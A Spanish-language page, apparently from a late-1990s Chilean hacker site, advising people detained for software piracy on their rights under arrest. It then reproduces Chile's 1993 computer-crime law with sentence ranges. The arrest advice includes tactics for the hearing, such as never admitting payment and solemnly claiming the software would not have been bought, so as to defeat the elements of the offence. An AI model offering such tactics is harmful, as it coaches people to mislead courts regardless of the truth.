No esta de mas comentar en este punto que cualquier intento de sonsacar al detenido con cualquier tipo de coaccion, por suave que parezca, debe ser denunciado en la primera declaracion ante el Juez. Es muy posible que se informe al detenido que si declara, lo dejaran inmediatamente en libertad, y que si no lo hace, detendran a sus amigos o familiares, o avisaran a su empresa. Teniendo en cuenta que el detenido en este tipo de delitos suele ser joven e inexperto, este tipo de presiones son intolerables y deben denunciarse a la primera oportunidad.

Derecho a no declarar contra si mismo y a no confesarse culpable. Esta intimamente relacionado con el derecho anterior, del que trae causa.

Derecho a designar Abogado y a solicitar su presencia para que asista a las diligencias policiales y judiciales de declaracion e intervenga en todo reconocimiento de identidad de que sea objeto.

Si el detenido o preso no designara Abogado, se procedera a la designacion de oficio. No es imprescindible avisar al abogado de confianza, dado que en el supuesto de no declarar, es indiferente que a dicha negativa asista un letrado particular, o el de oficio Lo que sucede es que en el caso de cambiar posteriormente de abogado, se incrementan los gastos, dado que se ha de abonar la minuta al primer designado. Una vez firmada la negativa a declarar, el detenido tiene derecho a una entrevista a solas con el letrado, para preparar la declaracion ante el Juez, en la que si es conveniente asesorarse con alguien que entienda de informatica.

Derecho a que se ponga en conocimiento del familiar o persona que desee, el hecho de la detencion y el lugar de custodia en que se halle en cada momento.

Los extranjeros tendran derecho a que las circunstancias *anteriores se comuniquen a la Oficina Consular de su pan.

Deben olvidarse las vergüenzas, ya que esta en juego algo mas importante que una bronca familiar. Cuanta mas gente conozca la detencion, mejor, asi que la familia debe avisar a todos los amigos que figuren en la agenda del detenido, antes de que los avise la policia. Otra razon para avisar a la familia es que en caso que la detencion se alargue innecesariamente, se puede recurrir al Habeas Corpus, una peticion ante el Juez de Guardia para que se ponga inmediatamente al detenido en presencia de la autoridad judicial, lo que a veces puede ser necesario, sobre todo si se trata de jovenes de animo debil...
Derecho a ser asistido gratuitamente por un interprete.
Cuando se trate de extranjero que no comprenda o no hable el castellano. En este punto el detenido podria ponerse a exigir hablar en el idioma propio, lo que es perfectamente inutil cuando no se piensa declarar...
Derecho a ser reconocido por el Medico Forense o su sustituto legal y,en su defecto,por el de la Institucion en que se encuentre, o por cualquier otro dependiente del Estado o de otras Administraciones Publicas.

Aprovechando que no tiene nada mejor que hacer, es conveniente que el detenido insista en que venga el medico. Asi, ademas de pasar mas entretenidas las horas de la detencion, en el supuesto de que venga el medico ya hay un primer diagnostico que informa que el detenido entro sin lesiones en comisaria. Si dicha situacion cambia, alguien tendra que dar explicaciones.

Una vez ha pasado el miedo de la primera fase de la detencion, se podra reflexionar tranquilamente sobre que declarar ante el Juez. Cada caso es diferente, y el mas preparado para diseñar la estrategia de ese momento sera el abogado que libremente escoja el detenido. En cualquier caso, no esta de mas recordar que para que exista delito por copia ilegal de software, esta debe ser con animo de lucro y en perjuicio de tercero. A sensu contrario, pueden deducirse de ello dos consejos, a saber:

-Nunca debe reconocerse haber cobrado o pagado por una copia

-Debe proclamarse solemnemente que de no copiar el software, tampoco lo hubiesemos comprado, lo que descarta el perjuicio del tercero, que no podra en tal caso argumentar que ha perdido una venta. Ya que Bill Gates no es altruista, seamoslo nosotros con nuestros semejantes...

 

LEY INFORMATICA CHILENA

Hay que tener en cuenta que Chile esta arto retrasado en cuanto a medidas legales encontra de los hackers y sus acciones, pero mas importante aún es que NO saben diferenciar entre un simple hackers y una persona que tiene acceso a los sistemas y comete algun tipo de delitos, la ley las aplican igual para ambos. Asi que si alguien conoce a algun juez, que por cierto no creo que ninguno sepa usar unix o conocer a fondo los delitos informaticos, diganles que le hechen una miradita a estas paginas o se informen de la realidad mundial y la chilena.
Pero vayamos al gramo he lo que esperabamos:

 

LEY 19.223
DO 07.06.93 TEXTO Ley 19.223 1993 MINISTERIO DE JUSTICIA SUBSECRETARIA DE JUSTICIA PODER LEGISLATIVO
Ministerio De Justicia
LEY NUM. 19.223
TIPIFICA FIGURAS PENALES RELATIVAS A LA INFORMATICA
Teniendo presente que el H. Congreso Nacional ha dado su aprobación al siguiente Proyecto de Ley:

"Articulo 1°.- El que maliciosamente destruya o inutilice un sistema de tratamiento de informacion o sus partes o componentes, o impida, obstaculice o modifique su funcionamiento, sufrira la pena de presidio menor en su grado medio a maximo. Si como consecuencia de estas conductas se afectaren los datos contenidos en el sistema, se aplicara la pena se¤alada en el inciso
anterior, en su grado maximo.

Articulo 2°.- El que con el animo de apoderarse, usar o conocer, indebidamente de la informacion contenida en un sistema de tratamiento de la misma, lo intercepte, interfiera o acceda a el, sera castigado con presidio
menor en su grado minimo a medio.

Articulo 3°.- El que maliciosamente altere, da¤e o destruya los datos contenidos en un sistema de tratamiento de informacion, sera castigado con presidio menor en su grado medio.

Articulo 4°.- El que maliciosamente revele o difunda los datos contenidos en un sistema de informacion, sufrira la pena de presidio menor en su grado medio. Si quien incurre en estas conductas es el responsable del sistema de
informacion, la pena se aumentara en un grado.

Y por cuanto he tenido a bien aprobarlo y sancionarlo.
Por tanto promulguese y llevese a efecto como Ley de la Republica.
Santiago, 28 de Mayo de 1993.- ENRIQUE KRAUSS RUSQUE, Vicepresidente de la
Republica.- Francisco Cumplido Cereceda, Ministro de Justicia. Lo que
transcribo a Ud. para su conocimiento.- Saluda atentamente a Ud., Martita
W”rner Tapia, Subsecretario de Justicia.



Aqui unos detalles de los sentencias.

Presidio menor (61 dias a 5 años)

Grado Máximo (3 años y 1 dia a 5 años). Conlleva inhabilitacion absoluta y perpetua de derechos políticos y la inhabilitacion
absoluta mientras dure la pena para ejercer cargos publicos.
Debiera conllevar trabajos prescritos por el establecimiento penal pero en la práctica no ocurre.

Grado Medio (541 dias a 3años). Conlleva suspension de cargo publico durante el tiempo de la condena.Debiera conllevar trabajos prescritos por el establecimiento penal pero en la practica no ocurre.

Grado Minimo (61 dias a 540 dias). Conlleva suspension de cargo publico durante el tiempo de la condena. Debiera conllevar trabajos prescritos por el establecimiento penal pero en la practica no ocurre.


 

A FONDO WINDOWS

A FONDO UNIX / LINUX

DE TODO UN POCO

TEXTOS



HACKERSCHILE
1998 - 2000